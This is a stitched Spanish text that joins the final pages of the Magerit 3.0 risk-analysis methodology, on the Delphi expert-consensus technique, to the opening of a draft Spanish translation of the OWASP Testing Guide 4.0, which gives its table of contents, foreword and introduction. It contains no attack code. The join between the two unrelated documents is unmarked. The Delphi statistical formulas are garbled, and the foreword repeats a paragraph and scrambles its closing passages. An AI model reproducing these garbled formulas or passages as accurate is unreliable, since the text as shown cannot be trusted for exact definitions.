3.7. Valoración Delphi La técnica o método Delphi 11 , original de la Rand Corporation (Research ANd Development), comenzó a aplicarse desde 1948 en un proyecto avanzado de las Fuerzas Aéreas de los Estados Unidos y la Compañía Douglas de Aviación, orientándose desde entonces a los estudios prospectivos de investigación espacial. De forma paulatina la técnica diseñada por la Rand Corporation ha ido ampliando sus campos de aplicación: así esta "reflexión intuitiva de expertos" (como algún autor denomina al método Delphi), puede ser utilizada con éxito en multitud de campos y sectores. Delphi es especialmente adecuada para Magerit por las razones siguientes: •

Es una técnica netamente cualitativa que relativamente permite tratar con alta precisión problemas técnicamente complejos.

•

Está planteada como una reflexión organizada de expertos sobre un tema concreto, reflexión que permite recoger las ideas y opiniones más cualificadas en el ámbito de la seguridad (valoración de activos e identificación de amenazas e impactos).

•

Se desarrolla a partir de un cierto ‘escenario inicial’ de modo que permita una adecuada recapitulación e identificación de los problemas que ya existen actualmente.

•

Desarrolla una prospectiva mucho más rica que la mera identificación de la opinión mayoritaria, por medio de un proceso de convergencia de opiniones que se consigue mediante rondas sucesivas de entrevistas.

•

Garantiza satisfactoriamente la ‘limpieza’ de la investigación, impidiendo el predominio de unos expertos sobre otros por razones ajenas a la calidad de sus opiniones.

La técnica Delphi es un instrumento de uso múltiple que se utiliza con muy variados objetivos: •

Identificar problemas.

•

Desarrollar estrategias para la solución de problemas, fijando un rango de alternativas posibles.

•

Identificar factores de resistencia en el proceso de cambio.

•

Establecer previsiones de futuro sobre la evolución de las tendencias que se observan en un determinado campo o sector.

•

Contrastar opiniones en un tema abarcando un amplio campo de disciplinas o sectores.

3.7.1. Resumen ejecutivo 1. Se prepara un cuestionario con los temas cuya valoración se desea conocer. Este punto es crítico para el éxito de los siguientes pasos. Para la elaboración de un buen cuestionario se requiere experiencia y conocimiento del tema que se desea investigar. 2. Se distribuye entre los sujetos que tienen una opinión relevante en el tema a investigar: los expertos. 3. Con las respuestas recibidas, se prepara un histograma indicando cuántos entrevistados se decantan por cada nivel de valoración. 4. Si hay una clara concentración de respuestas en torno a un único valor, el proceso ha acabado: hay un claro consenso en el valor buscado. 5. Si hay diferencias importantes de opinión, se remite de nuevo el mismo cuestionario; pero esta vez acompañado del histograma. Si se han apreciado ambigüedades en el primer cuestionario, deben aclararse en esta segunda ronda. A los entrevistados se les inquiere sobre si consideran que deben mantener su primera opinión o prefieren modificarla. 11 “Delphi” es la forma inglesa de pronunciar Delfos, población griega famosa por su oráculo. Pese al origen fonético, el método usado por el Oráculo de Delphos (adivinación) no tenía nada que ver con el usado con el método Delphi (consenso de opinión entre expertos). Delphi basa la calidad de sus resultados en la hipótesis de que cuando no existe un conocimiento preciso de la realidad, lo mejor que se puede hacer es recoger la opinión, consensuada, de un grupo lo más amplio posible de expertos en la materia.

© Ministerio de Hacienda y Administraciones Públicas

página 38 (de 42)

Magerit 3.0

Delphi

6. Si el histograma de esta segunda ronda sigue sin mostrar una respuesta clara, se pueden realizar nuevas rondas o convocar a los entrevistados en una reunión conjunta para llegar a un consenso. 7. Ante un histograma disperso, siempre hay que preguntarse si se ha hecho la pregunta correcta a las personas correctas, si la pregunta estaba claramente expresada o si, por el contrario se debe volver a empezar con nuevas preguntas y/o nuevos entrevistados.

Se determina qué opiniones cuentan Se elabora un cuestionario ¿cuánto vale X? Se distribuye el cuestionario Se recogen las respuestas Se tabulan las respuestas Se distribuye 1. el cuestionario 2. las respuestas

no

¿consenso? si

ya está

En sentido estricto, Delphi no es tanto un método como un conjunto de técnicas que se aplican según las circunstancias. Algunos aspectos hay que determinarlos en cada caso: Número de participantes. Se estima que el número ideal se encuentra entre 15 y 35 expertos. Aplicado al análisis de riesgos, se pueden establecer grupos amplios en temas generales (por ejemplo, frecuencia típica de una amenaza o idoneidad de una salvaguarda para un riesgo); pero en temas puntuales es difícil pasar de unos pocos participantes (por ejemplo, para valorar un activo). Número de rondas. La segunda ronda es necesaria salvo que haya un consenso suficiente en la primera. Sucesivas rondas pueden dar una opinión más refinada; pero no esto no siempre se consigue por diferentes motivos: •

los expertos muestran rápidamente síntomas de agotamiento, disminuyendo su disposición a colaborar

•

probablemente lo que está mal es el diseño del cuestionario y más vale revisarlo que insistir en el error

Como recomendación general para proyectos de análisis y gestión de riesgos, se puede centrar en número estándar en dos rondas.

3.7.2. Aspectos sociológicos Delphi permite que un grupo trabaje aisladamente y de forma anónima. Es un instrumento que agrupa sistemáticamente las opiniones de un grupo y evita el excesivo protagonismo que pueden ejercer algunas personas, además de cualidades como éstas: •

La generación de ideas de forma aislada produce una mayor cantidad de éstas en el conjunto del grupo seleccionado.

© Ministerio de Hacienda y Administraciones Públicas

página 39 (de 42)

Magerit 3.0

Delphi

•

El proceso de respuestas escritas a las preguntas formuladas obliga a los que responden a pensar en toda la complejidad del problema y a proponer, por tanto, ideas de gran calidad.

•

La conducta del grupo es proactiva, puesto que los que responden no pueden reaccionar ante las ideas expresadas por los otros, eliminando posibles excesos de protagonismo que se manifiestan cuando se expresan opiniones de forma directa y simultánea.

•

El anonimato y el aislamiento entre los que responden proporciona una gran libertad frente a la presión hacia el conformismo en las opiniones.

•

La técnica es válida para obtener opiniones de expertos que se encuentren físicamente alejados.

•

Se puede comprobar que el error de predicción de un conjunto de expertos en un tema es siempre menor que la media de los errores de las opiniones individuales de las personas que lo integran.

3.7.3. Análisis de las respuestas Delphi implica un análisis estadístico del producto de cada una de las rondas de cuestionarios. El análisis debe garantizar que la opinión de cada uno de los expertos se encuentre representada en la respuesta final. Para determinar si hay consenso se necesita una medida de la dispersión de las respuestas. Para determinar cual es el consenso se necesita un punto de convergencia. El análisis es diferente si se busca un valor en una escala continua de valoración (por ejemplo, intentando determinar el valor de un activo para la Organización) o si se intenta identificar elementos a considerar (por ejemplo, activos que deben incluirse en el análisis). En el caso de opiniones de valor, se recurre a estimaciones estadísticas. En el caso de opiniones, se recurre a esquemas de votación.

3.7.3.1. Análisis estadístico Las respuestas se ubican sobre una escala de valores, lineal o logarítmica según la naturaleza del problema que se esté analizando. En aspectos de percepción subjetiva de valor, las escalas logarítmicas suelen ser las más adecuadas. Dados n valores, x 1, x 2, ... , x n se definen los siguientes estadísticos: Media o valor medio

x

1 n

n

xi i 1

Mediana Habiendo ordenado los valores x i en orden ascendente (de menor a mayor), se denomina mediana al primer valor que deja por debajo al 50% de los datos; es decir al valor en la posición n 2 Desviación estándar o típica

1 n 1

n

xi x

2

i 1

Desviación media

desviación media

1 ni

n

xi x 1

Cuartiles. Habiendo ordenado los valores en orden ascendente, se definen 3 puntos de interés Q1: primer valor que deja por debajo al 25% de los datos Q2: primer valor que deja por debajo al 50% de los datos (la mediana) Q3: primer valor que deja por debajo al 75% de los datos © Ministerio de Hacienda y Administraciones Públicas

página 40 (de 42)

Magerit 3.0

Delphi

Recorrido intercuartílico Se define como la distancia Q3 – Q1. Es el rango que recoge las opiniones del 50% de los expertos más “centrados”. Para determinar el valor de consenso se pueden utilizar la media o la mediana, si bien esta última es habitualmente más adecuada por ser inmune a las opiniones más extremas. Para determinar la dispersión se puede utilizar la desviación estándar, la media o el recorrido intercuartílico. La desviación estándar da una importancia mayor a la existencia de respuestas muy alejadas de la media, lo que suele considerarse mala idea. El recorrido intercuartílico es el más adecuado para desechar opiniones extremas. En cualquier caso, cuando se remiten los resultados de una ronda para la siguiente ronda, conviene acompañar los estadísticos de un histograma o diagrama de frecuencia de las respuestas agrupadas en intervalos. Sobre este histograma conviene indicar algunos los valores importantes: •

la mediana o cuartil Q3

•

la media

•

el cuartil Q1

•

el cuartil Q3

•

los valores extremos: los más alejados por arriba y por abajo

3.7.3.2. Votaciones Cuando las respuestas no se pueden asociar a un valor numérico sobre una escala continua de valores, hay que recurrir a técnicas de votación. Sea una pregunta con N posibles respuestas, de las que hay que determinar cual es más adecuada. Una opción es pedirle al experto que valore de 0 a 10 la conveniencia de cada una de las posibles respuestas. En el análisis se puede determinar la valoración media recibida por cada respuesta. En la siguiente ronda, el experto puede estar de acuerdo con la puntuación de consenso, o seguir insistiendo en su opinión divergente. La valoración de consenso y la medida de dispersión se pueden estimar estadísticamente (ver sección anterior). Otra opción es pedirle al experto que seleccione las 5 mejores respuestas y les asigne 5 puntos a la mejor, 4 a la segunda mejor, 3 a la tercera, 2 a la cuarta y uno a la quinta 12 . En el análisis se suman los puntos recibidos por cada respuesta para determinar su posición relativa en la ordenación de consenso. En la siguiente ronda, el experto puede estar de acuerdo en la ordenación de consenso, o seguir insistiendo en su opinión divergente.

3.7.4. Resumen Se pueden resumir los rasgos esenciales de un proceso Delphi en los siguientes puntos: •

Anonimato de respuestas, que reduce las distorsiones de personalidades dominantes que pudieran producirse en reuniones o comités de expertos.

•

‘Feedback’ o realimentación controlada por medio de interacciones sucesivas de modo que en cada una el experto posee la información que se refiere a la interacción previa.

•

Análisis estadístico de las respuestas del grupo, que permite ir consiguiendo el acuerdo razonado de los expertos evitando cualquier modo de presión para obtener modificaciones en sus puntos de vista.

•

Énfasis puesto en la opinión informada, que en ocasiones puede ser contraria a la más común o generalizada en la sociedad.

12 Obviamente, hay que adecuar estos números a cada caso concreto.

© Ministerio de Hacienda y Administraciones Públicas

página 41 (de 42)

Magerit 3.0

Delphi

3.7.5. Referencias •

ISO 31010 ISO/IEC 31010:2009, Risk management — Risk assessment techniques. UNE-ISO/IEC 31010:2010, Gestión del riesgo. Técnicas de apreciación del riesgo. B.3 Técnica Delphi

•

J. Fowles, “Handbook of Futures Research. Westport, Greenwood Press, 1978.

•

H.A. Linstone and M. Turoff (eds), “The Delphi Method: Techniques and Applications”, Reading, MA: Addison-Wesley Publishing Company, 1975.

•

N.C. Dalkey, “The Delphi Method: An Experimental Study of Group Opinion”, RAND Corporation, RM-5888-PR, 1969.

•

O. Helmer, “Analysis of the Future: The Delphi Method”. RAND Corporation Technical Report, P-3558, March 1967.

•

N. Dalkey and O. Helmer, “An Experimental Application of the Delphi Method to the Use of Experts”. Management Science, vol. 9, no. 3, April 1963.

•

M. Girshick, A. Kaplan and A. Skogstad, “The Prediction of Social and Technological Events”. Public Opinion Quarterly, Spring 1950.

© Ministerio de Hacienda y Administraciones Públicas

página 42 (de 42)

Guia de pruebas 4.0 "Borrador"

FERNANDO VELA

ROBERTO ANDRADE QUITO- ECUADOR

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 1

Guia de pruebas 4.0 "Borrador"

LOS ICONOS DE ABAJO REPRESENTAN QUE OTRAS VERSIONES ESTÁN DISPONIBLES EN IMPRESO PARA ESTE TÍTULO DE LIBRO. ALPHA: el contenido del libro "Calidad Alfa" es un borrador de trabajo. El contenido es muy áspero y en desarrollo hasta el nivel siguiente de la publicación. BETA: el contenido del libro "Calidad Beta" es el siguiente nivel más alto. El contenido está todavía en desarrollo hasta la próxima publicación. RELEASE: el contenido del libro "Calidad de Liberación" es el más alto nivel de calidad en un título del libro ciclo de vida, y es un producto final.

–

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 2

Guia de pruebas 4.0 "Borrador"

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 3

Guia de pruebas 4.0 "Borrador"

Indice 0 Página 6-8

Prologo por Eoin Keary

1 Página 9-12

Frontispicio Acerca de el proyecto de guia de pruebas OWASP Acerca de el Proyecto de Seguirdad de Aplicaciones WEB Abierta

2 Página 13-37

Introduction El proyecto de pruebas OWASP Principios de la prueba Explicación de las técnicas de prueba Derivar requerimientos de pruebas de seguirdad Las pruebas de seguridad integradas al desarrollo y flujos de trabajo de las pruebas de seguridad Análisis de datos de prueba de seguridad y reportes

3 Página 38-41

El marco referencial (framework) de pruebas de OWASP Resumen Fase1: Antes del inicio del desarrollo

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 1

Guia de pruebas 4.0 "Borrador"

Fase 2: Durante la definición y diseño Fase 3: Durante el desarrollo Fase 4: Durante la fase de implementación Fase 5: Mantenimiento y operaciones Flujo de trabajo del marco de pruebas de OWASP

4 Páginas 42-313

Pruebas de seguridad de aplicaciones WEB Introducción y objetivos Listado de validación de pruebas Recopilación de información Conducir motor de busqueda para el descubrimiento y reconocimiento de fugas de información (OTG-INFO-001) Huellas digitales servidor WEB (OTG-INFO-002) Revision de los meta archivos del servidor web en busca de fugas de información (OTG-INFO-003) Ennumere las aplicaciones en el servidor WEB (OTG-INFO-004) Revisión de los comentarios del sitio web y los metadatos en busca de fujas de información (OTG-INFO-005) Identificar puntos de entrada de la aplicación (OTG-INFO-006) Creación de mapas de rutas de ejecución a través de la aplicación (OTG-INFO-007) Marco referencial para el uso de huellas digitales en aplicaciones WEB (OTG-INFO-008) Huellas digitales aplicaciones WEB (OTG-INFO-009) Mapa de arquitectura de la aplicación (OTG-INFO-010) Pruebas para gestionar la configuración y la implementación Prueba configuración Red/Infraestructura (OTG-CONFIG-001) Prueba de la configuración de la plataforma de aplicaciónes (OTG-CONFIG-002) Prueba manejo de archivos de extensiones en busca información sensible (OTG-CONFIG-003) Revisión archivos viejos, copias de seguridad y archivos no referenciados para Información sensible (OTG-CONFIG-004) Enumeración Infraestructura y de Interfaces de administración de aplicaciones (OTG-CONFIG-005)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 2

Guia de pruebas 4.0 "Borrador"

Prueba metodos HTTP (OTG-CONFIG-006) Prueba HTTP Strict Transport Security (OTG-CONFIG-007) Prueba política de dominio cruzado RIA (OTG-CONFIG-008) Pruebas de Administración de Identidad Prueba de definición de roles (OTG-IDENT-001) Prueba proceso de registro de usuarios (OTG-IDENT-002) Prueba proceso de provisión de cuentas (OTG-IDENT-003) Pruebas para ennumeración de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004) Pruebas politica de nombre de usuarios debiles o sin fuerza (OTG-IDENT-005) Pruebas de autenticación Pruebas para credenciales transportadas sobre canales encriptados (OTG-AUTHN-001) Pruebas credenciales por defecto (OTG-AUTHN-002) Pruebas para mecanismos de seguridad débiles (OTG-AUTHN-003) Pruebas para eludir el esquema de autenticación (OTG-AUTHN-004) Prueba funcionalidad recordatorio de clave (OTG-AUTHN-005) Prueba para debilidades en la memoria del navegador (OTG-AUTHN-006) Prueba para politica de clave débil (OTG-AUTHN-007) Prueba para seguirdad pregunta/respuest débil (OTG-AUTHN-008) Prueba para cambios de clave débil o funcionalidades de reinio. (OTG-AUTHN-009) Prueba para autenticación débil en canal alternativo (OTG-AUTHN-010) Pruebas de autorización Prueba de inclusión archivos de directorio de circulación (OTG-AUTHZ-001) Prueba para evadir el esquema de autorización (OTG-AUTHZ-002) Prueba para escalación de privilegios (OTG-AUTHZ-003) Prueba de la referencia de objetos directos inseguros (OTG-AUTHZ-004) Pruebas de administración e sesión Prueba para evadir el esquema de administración de sesión (OTG-SESS-001) Prueba para atributos de cookies (OTG-SESS-002)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 3

Guia de pruebas 4.0 "Borrador"

Prueba de fijación de sesión (OTG-SESS-003) Prueba de exposición de variables de sesión (OTG-SESS-004) Prueba para falsificación de petición de sitio cruzado (CSRF) (OTG-SESS-005) Pruebas funcionalidad cierre de sesión (OTG-SESS-006) Pruebas del tiempo cierre de sesión (OTG-SESS-007) Prueba para sobrecarga de variables (Session puzzling) (OTG-SESS-008) Pruebas de validación de entradas Pruebas para la reflexión de Cross Site scripting (OTG-INPVAL-001) Pruebas de Cross Site Scripting almacenados (OTG-INPVAL-002) Pruebas de manipulación de verbos en HTTP (OTG-INPVAL-003) Pruebas de contaminación de parámetros HTTP (OTG-INPVAL-004) Pruebas de Inyecciones de SQL (OTG-INPVAL-005) Pruebas en Oracle Pruebas de MySQL Pruebas del servidor SQL (SQL Server) Probar la seguridad del proyecto de acceso restringido PostgresSQL de OWASP Pruebas para MS Access Pruebas de inyección NoSQL Pruebas de inyección LDAP (OTG-INPVAL-006) Pruebas de inyección de ORM (OTG-INPVAL-007) Pruebas de inyección de XML (OTG-INPVAL-008) Pruebas de inyección SSI (OTG-INPVAL-009) Pruebas de inyección XPath (OTG-INPVAL-010) Pruebas de inyección de IMAP/SMTP (OTG-INPVAL-011) Pruebas de inyección de código (OTG-INPVAL-012) Pruebas para determinar la inclusión de documentos locales Pruebas para la inclusión remota de archivos Pruebas de inyección de comandos (OTG-INPVAL-013)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 4

Guia de pruebas 4.0 "Borrador"

Pruebe la saturación del Búfer (OTG-INPVAL-014) Pruebas de saturación de Heap Probar la saturación de pila de datos Pruebas para la cadena de formato Pruebas de las vulnerabilidades incubadas (OTG-INPVAL-015) Pruebas para verificar la separación/contrabando de HTTP (OTG-INPVAL-016) Pruebas de manejo de errores Pruebas de errores de código (OTG-ERR-001) Pruebas para determinar los rastors de pila de datos (OTG-ERR-002) Pruebas para Critografía débil Pruebas de codificadores SSL/TLS débiles, pritección de trasnporte de capas insuficiente (OTG-CRYPST-001) Prueba del Padding Oracle (REelleno de Oracle) (OTG-CRYPST-002) Pruebas para el envío de información sensible por canales sin encriptar (OTG-CRYPST-003) Prueba de la lógica del negocio Pruebas de la validación de datos de la lógica del negocio (OTG-BUSLOGIC-001) Prueba de la habilidad para manipular consultas (OTG-BUSLOGIC-002) Prueba de comprobación de integridad (OTG-BUSLOGIC-003) Pruebas del tiempo de procesamiento (OTG-BUSLOGIC-004) Prueba del número de veces que limita el uso de una función (OTG-BUSLOGIC-005) Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC-006) Prueba de las defensas contra el mal uso de la aplicación (OTG-BUSLOGIC-007) Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-BUSLOGIC-008) Prueba de la posibilidad de carga de archivos maliciosos (OTG-BUSLOGIC-009) Pruebas en el lado del cliente Prueba del Cross Site Scripting basado en DOM (OTG-CLIENT-001) Prueba de la ejecución de JavaScript (OTG-CLIENT-002) Prueba de inyección de HTML (OTG-CLIENT-003) Pruebas de redireccionamiento de la URL del lado del cliente (OTG-CLIENT-004)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 5

Guia de pruebas 4.0 "Borrador"

Pruebas de inyección de CSS (OTG-CLIENT-005) Pruebas de la manipulación de recursos del lado del cliente (OTG-CLIENT-006) Pruebas para el Intercambio de recursos de origen cruzado (OTG-CLIENT-007) Pruebas de Cross Site Flashing (OTG-CLIENT-008) Pruebas de Clickjacking (OTG-CLIENT-009) Pruebas de WebSockets (OTG-CLIENT-010) Prueba de mensajería web (Web Messaging) (OTG-CLIENT-011) Prueba de Almacenamiento Local (OTG-CLIENT-012)

5 Páginas 314-331

Apéndice Apéndice A: Herramientas de prueba Herramientas de Pruebas de Caja Negra de código abierto Apéndice B: Lecturas sugeridas Libros Blancos Libros Páginas Web Útiles Apéndice C: Vectores Fuzz Categorías Fuzz Apéndice D: Inyección codificada Codificación de entrada Codificación de salida

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 6

Guia de pruebas 4.0 "Borrador"

Prólogo de la Guía de Pruebas

0

El problema del software no seguro es quizás el desafío técnico más importante de nuestro tiempo. El dramático aumento de las aplicaciones web para negocios, redes sociales, etc. sólo ha

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 7

Guia de pruebas 4.0 "Borrador"

complicado los requerimientos para definir un enfoque robusto para escribir y asegurar nuestras Aplicaciones Web e Información.

Prólogo de Eoin Keary, Consejo Global OWASP

El problema del software inseguro es quizás el desafío técnico más importante de nuestro tiempo. El aumento espectacular de las aplicaciones web que permiten generar negocios, redes sociales, etc. sólo ha agravado los requisitos para establecer un enfoque robusto para escribir y asegurar nuestros Internet, Aplicaciones Web y Datos.

En el Proyecto de Seguridad para Aplicaciones en Red Abierta (OWASP), estamos tratando de hacer del mundo un lugar donde el software inseguro sea la anomalía, no la norma. La Guía de Pruebas OWASP tiene un papel importante que desempeñar en la solución de este grave problema. Es de vital importancia que nuestro enfoque para pruebas de software por temas de seguridad se base en los principios de ingeniería y ciencia. Necesitamos un enfoque consistente, repetible y definido para las pruebas de aplicaciones web. Un mundo sin normas mínimas en materia de ingeniería y tecnología es un mundo caótico.

Es obvio que no se puede construir una aplicación segura sin realizar pruebas de seguridad en la misma. Las pruebas son parte de un enfoque más amplio en la construcción de un sistema seguro. Muchas organizaciones de desarrollo de software no incluyen pruebas como parte de su procedimiento estándar de desarrollo de software. Lo que es peor aún, muchos proveedores de seguridad entregan pruebas con diversos grados de calidad y rigor.

Las pruebas de seguridad, por sí mismas, no son una medida de seguridad particularmente confiable de lo segura que es una aplicación, ya que hay un número infinito de formas en que un atacante podría ser capaz de romper la aplicación, y simplemente no es posible poner a prueba a todas ellas. No podemos nosotros mismos hackear seguridades y solo tenemos un tiempo limitado para probar y defender mientras que un atacante no tiene estas limitaciones.

En conjunto con otros proyectos de la OWASP como la Guía de Revisión de Códigos, la Guía de Desarrollo y Herramientas como OWASP ZAP, es un gran comienzo para la construcción y mantenimiento de aplicaciones seguras. La guía de desarrollo mostrará para su proyecto cómo diseñar y construir una aplicación segura, la Guía de Revisión de Códigos le dirá cómo verificar la seguridad del código de origen de su aplicación, y esta Guía de Pruebas le mostrará cómo verificar la seguridad de su aplicación en funcionamiento. Yo recomiendo utilizar estas guías como parte de sus iniciativas para la seguridad de su aplicación.

¿Por qué OWASP?

Crear una guía como esta es una gran tarea que requiere de la experiencia de cientos de personas alrededor del mundo. Hay muchas maneras diferentes para detectar fallos de seguridad y esta guía captura el consenso de los principales expertos sobre cómo realizar esta prueba con rapidez, exactitud y eficiencia.OWASP da a personas de seguridad con conocimientos afines la capacidad de trabajar conjuntamente y formar un enfoque de práctica de liderazgo para un problema de seguridad.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 8

Guia de pruebas 4.0 "Borrador"

La importancia de tener esta guía en forma totalmente libre y abierta es importante para la misión de las fundaciones. Da a cualquiera la capacidad de entender las técnicas usadas para detectar problemas de seguridad comunes. La seguridad no debe ser un arte oscuro o un secreto cerrado que sólo unos pocos pueden practicar. Debe estar abierta a todos y no ser exclusiva para los profesionales en seguridad, sino también para desarrolladores de control de calidad y gerentes técnicos. El proyecto para la construcción de esta guía mantiene la experiencia en manos de la gente que lo necesita; usted, yo y cualquier persona que participa en la construcción de software.

Esta guía debe abrirse paso hasta las manos de los desarrolladores y evaluadores de software. No hay suficientes expertos de seguridad de aplicaciones en el mundo para hacer una abolladura significativa en el problema general.

La responsabilidad inicial de seguridad de las aplicaciones debe recaer en los hombros de los desarrolladores; ellos escriben el código. No debería ser una sorpresa que los desarrolladores no están produciendo codificación segura si no la están probando o consideran los tipos de errores que generan la vulnerabilidad.

Mantener esta información actualizada es un aspecto crítico de este proyecto de guía. Adoptando el enfoque wiki, la comunidad OWASP puede evolucionar y ampliar la información en esta guía para mantener el ritmo con el panorama de la veloz amenaza de seguridad a las aplicaciones.

Esta guía es un gran testimonio de la pasión y energía que nuestros miembros y voluntarios del proyecto han dedicado a este tema. Sin duda ayudará a cambiar el mundo "una línea de código" a la vez.

Confeccionar y Priorizar

Usted debería adoptar esta guía en su organización. Deberá adaptar la información para que coincida con la tecnología, procesos y estructura organizacional de su empresa.

• Los desarrolladores deben usar esta guía para asegurarse de que están produciendo códigos seguros. Estas pruebas deben ser parte de los procedimientos normales de los códigos y de la unidad de pruebas.

• Los evaluadores de software y control de calidad deben usar esta guía para ampliar el conjunto de casos de prueba que emplean en las aplicaciones. Atrapar estas vulnerabilidades tempranamente es un ahorro considerable de tiempo y esfuerzo más adelante.

• Los especialistas en seguridad deben usar esta guía en combinación con otras técnicas como una manera de verificar que no se haya escapado algún agujero de seguridad en la aplicación.

• Los gerentes de proyectos deben considerar la razón por la que esta guía existe y que las cuestiones de seguridad se manifiestan mediante errores de código y diseño.

Lo más importante cuando se realizan pruebas de seguridad es recordar que se deben priorizar continuamente. Hay un número infinito de posibilidades para que una aplicación pueda fallar, y las organizaciones siempre han tenido tiempo y recursos limitados. Asegúrese de que el tiempo y los recursos se utilicen adecuadamente. Trate de concentrarse en los agujeros de seguridad que son un riesgo real para su negocio. Trate de contextualizar el riesgo en cuanto a la aplicación y sus usos. Esta guía se visualiza mejor como un conjunto de técnicas que puede utilizar para encontrar diferentes tipos de agujeros de seguridad. Pero no todas las técnicas son igual de importantes. Trate de evitar el uso de la guía como una lista de verificación. Nuevas vulnerabilidades siempre se manifestarán y ninguna guía puede ser una lista exhaustiva de "cosas por probar", sino más bien un gran lugar para comenzar.

El papel de las herramientas automatizadas

Existe un número de empresas que venden análisis de seguridad automatizados y herramientas de prueba. Recuerde las limitaciones de estas herramientas para que pueda usarlas para lo que son buenas. Como Michael Howard dijo en la Conferencia del 2006 de OWASP AppSec en Seattle: "¡las herramientas no hacen al software seguro! Ayudan a elevar el proceso y a cumplir la política."

En general, hay varios roles diferentes que pueden usar esta guía dentro de las organizaciones: Lo más importante, estas herramientas son genéricas; lo que significa que no están diseñadas para un código personalizado, sino para aplicaciones en

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 9

Guia de pruebas 4.0 "Borrador"

general. Eso significa que mientras pueden encontrar algunos problemas genéricos, no tienen suficiente conocimiento de la aplicación para que puedan detectar la mayoría de los errores. En mi experiencia, los más graves problemas de seguridad son los que no son genéricos, sino profundamente entrelazados en su lógica de negocio y diseño de la aplicación personalizada.

Estas herramientas también pueden ser seductoras, puesto que encuentran una gran cantidad de problemas potenciales. Mientras que ejecutar las herramientas no toma mucho tiempo, cada uno de los problemas potenciales toma tiempo en investigar y verificar. Si el objetivo es encontrar y eliminar los defectos más graves lo más rápidamente posible, considere si es mejor utilizar su tiempo con herramientas automatizadas o con las técnicas descritas en esta guía. Sin embargo, estas herramientas son, sin duda, parte de un programa de seguridad de aplicaciones bien equilibrado. Usadas sabiamente, pueden apoyar sus procesos globales para producir un código más seguro.

de las aplicaciones, pero no es exhaustiva. Si encuentra errores, por favor agregue una nota en la página de discusión o haga el cambio usted mismo. Estará ayudando a miles de personas que utilizan esta guía.

Por favor, considere unirse a nosotros como miembro individual o corporativo, para que podamos seguir produciendo materiales como esta guía de prueba y todos los otros grandes proyectos en OWASP.

Gracias a todos los participantes pasados y futuros de esta guía; su trabajo ayudará a hacer aplicaciones más seguras en todo el mundo.

Llamado a la acción Eoin Keary, Miembro de la Junta Directiva de OWASP, Abri 19, 2013 Si está construyendo, diseñando o probando software, le animo a familiarizarse con la guía de la prueba de seguridad en este documento. Es un gran mapa para probar los problemas más comunes que enfrentan hoy los usos

Frontispicio de la Guía de Prueba

1

"Conocimiento abierto y colaborativo: ésta es la forma de la OWASP."

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 10

Guia de pruebas 4.0 "Borrador"

Con V4 nos dimos cuenta de una nueva guía que será la guía estándar por defecto para realizar pruebas de Penetración de Aplicaciones Web. -Matteo Meucci.

El Proyecto de Pruebas OWASP

2

El proyecto de pruebas OWASP ha sido desarrollado durante muchos años. El objetivo del proyecto es ayudar a las personas a entender el qué, por qué, cuándo, dónde y cómo de la prueba de las aplicaciones web.

Redactar la Guía de Pruebas ha demostrado ser una tarea difícil. Fue un reto conseguir consenso y desarrollar contenidos que permitan aplicar los conceptos descritos en la guía, permitiendo a la vez que trabajen en su propio entorno y cultura. También fue un reto el cambiar el enfoque de las pruebas de pruebas de penetración a pruebas integradas en el ciclo de vida de desarrollo de las aplicaciones web.

Sin embargo, el grupo está muy satisfecho con los resultados del proyecto. Muchos expertos de la industria y profesionales de seguridad, algunos de los cuales son responsables de la seguridad del software en algunas de las empresas más grandes del mundo, están validando el marco de la prueba. Este marco ayuda a las organizaciones a probar sus aplicaciones web para crear software confiable y seguro. El marco no solo resalta las áreas débiles, aunque este último es sin duda un subproducto de muchas de las guías y listas de verificación de OWASP. Así, decisiones difíciles tuvieron que tomarse, respecto a la conveniencia de ciertas técnicas de prueba y tecnologías de pruebas. El Grupo entiende perfectamente que no todos estarán de acuerdo con todas estas decisiones. Sin embargo, OWASP es capaz de alcanzar otros niveles y cambiar la cultura en el tiempo a través de sensibilización y educación basadas en el consenso y la experiencia.

El resto de esta guía está organizado como se indica a continuación: Esta introducción cubre los prerrequisitos de las pruebas de aplicaciones web y de su alcance. También cubre los principios exitosos de pruebas y las técnicas de pruebas. El Capítulo 3 presenta el marco de pruebas de OWASP y explica sus técnicas y tareas en relación con las distintas fases del ciclo de vida del desarrollo de aplicaciones. El Capítulo 4 cubre cómo comprobar vulnerabilidades específicas (por ejemplo, inyección de SQL) mediante inspección de código y pruebas de penetración.

Para medir la seguridad: la economía del software inseguro

Un principio básico de la ingeniería de software es que usted no puede controlar lo que no se puede medir [1]. Las pruebas de seguridad no son diferentes. Desafortunadamente, medir la seguridad es un proceso difícil. Este tema no se cubrirá en detalle aquí, ya que tendrá su guía propia (para una introducción, vea [2]).

Un aspecto que debe destacarse es que las medidas de seguridad son acerca de las cuestiones técnicas específicas (por ejemplo, cómo prevalece una cierta vulnerabilidad) y cómo estos problemas afectan la economía del software. La mayoría de personas técnicas comprenderán al menos las cuestiones fundamentales, o pueden tener una comprensión más profunda de las vulnerabilidades. Lamentablemente, pocos son capaces de traducir ese conocimiento técnico en términos monetarios y cuantificar el costo potencial de las vulnerabilidades al negocio del propietario de la aplicación. Hasta que esto no ocurra, los gerentes de sistemas (CIO) no serán capaces de calcular un retorno exacto de inversión en seguridad y, consecuentemente, asignar un presupuesto apropiado para la seguridad de las aplicaciones. Mientras que calcular el costo de software inseguro puede parecer una tarea desalentadora, ha habido una cantidad significativa de trabajo en esta dirección. Por ejemplo, en junio de 2002, el Instituto Nacional Estadounidense de Estándares (NIST) publicó una encuesta sobre el costo del software inseguro en la economía de Estados Unidos, debido a la inadecuada prueba de software [3]. Curiosamente, se estima que una mejor infraestructura de pruebas ahorraría más de un tercio de esos costos, o alrededor de $22 mil millones al año. Más recientemente, los vínculos entre la economía y la seguridad han sido estudiados por investigadores académicos. Vea [4] 